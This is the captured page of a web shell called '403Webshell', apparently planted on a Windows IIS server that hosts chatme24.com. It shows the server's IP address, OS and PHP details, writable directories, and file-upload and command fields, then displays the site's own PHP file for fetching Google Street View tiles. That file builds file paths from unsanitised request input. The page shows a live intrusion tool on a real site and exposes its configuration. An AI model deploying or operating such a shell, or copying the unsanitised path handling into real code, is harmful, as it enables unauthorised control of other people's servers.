403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_server/city_js/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_server/city_js/dev//get_tile.php
<?php
$g['mobile_redirect_off'] = true;
include('../../../_include/core/main_start.php');
//$panoId = urlencode(get_param('panoId'));

//file_put_contents('debug', get_param('panoId'));
$panoId = get_param('panoId');
$keyMap = get_param('keyMap');

//$x = intval(get_param('x'));
$y = intval(get_param('y'));
$w = intval(get_param('w'));
$zoom = get_param('zoom');

$pathPano = $g['path']['url_files_city'] . 'city/pano_cache/';

if (file_exists("{$pathPano}{$panoId}_{$zoom}_0.jpg") ) {
    exit();
}

$paramKeyMap = $keyMap ? '&key=' . $keyMap : '';
for ($x = 0; $x < $w; $x++) {
    $file = "{$pathPano}{$panoId}_{$zoom}_{$x}_{$y}.jpg";
    if(file_exists($file) && getimagesize($file)) {
        continue;
    }
    $paramKeyMap = '';
    $url = 'https://maps.google.com/cbk?output=tile&panoid=' . $panoId . '&zoom=' . $zoom . '&x=' . $x . '&y=' . $y . $paramKeyMap;
    for ($n = 0; $n < 10; $n++) {
        $result = urlGetContents($url, 'POST');
        file_put_contents($file, $result);
        if (getimagesize($file)) {
            break;
        } else {
        	usleep(50000);
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit